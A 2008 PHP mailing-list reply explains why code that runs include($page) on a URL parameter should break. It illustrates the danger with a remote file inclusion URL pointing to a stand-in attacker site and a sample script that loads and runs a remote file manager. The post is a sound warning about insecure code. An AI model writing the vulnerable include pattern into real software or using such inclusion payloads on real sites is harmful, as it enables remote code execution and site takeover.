Re: SESSION array problems [THE REASON]
| From: | Jim Lucas | Date: | Thu, 02 Oct 2008 17:53:24 +0000 |
| Subject: | Re: SESSION array problems [THE REASON] | ||
| References: | 1 2 3 4 5 6 7 8 9 | Groups: | php.general |
| Request: | Send a blank email to php-general+get-281407@lists.php.net to get a copy of this message | ||
Daniel Brown wrote:
> On Thu, Oct 2, 2008 at 12:57 PM, Jim Lucas <lists@cmsws.com> wrote:
>> so long, farewell, bye bye....
>
> If you say so. Do you realize how many websites are going to
> break now? ;-P
>
> https://www.example.com/secure/shop.php?page=creditcardinfo.php
> <?php
> include($page);
> ?>
>
But, you must admit that your example above shows a very good reason that it
SHOULD break!
Example...
https://www.example.com/secure/shop.php?page=http://www.myhackersite.com/hackerscript.txt
<?php
include($page);
?>
hackerscript.txt
<?php
include 'http://www.myhackersite.com/filemanager.txt';
echo 'If you are including this, just think of everything else I can get to.';
$ob = new filemanager();
$ob->run();
?>
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by William Shakespeare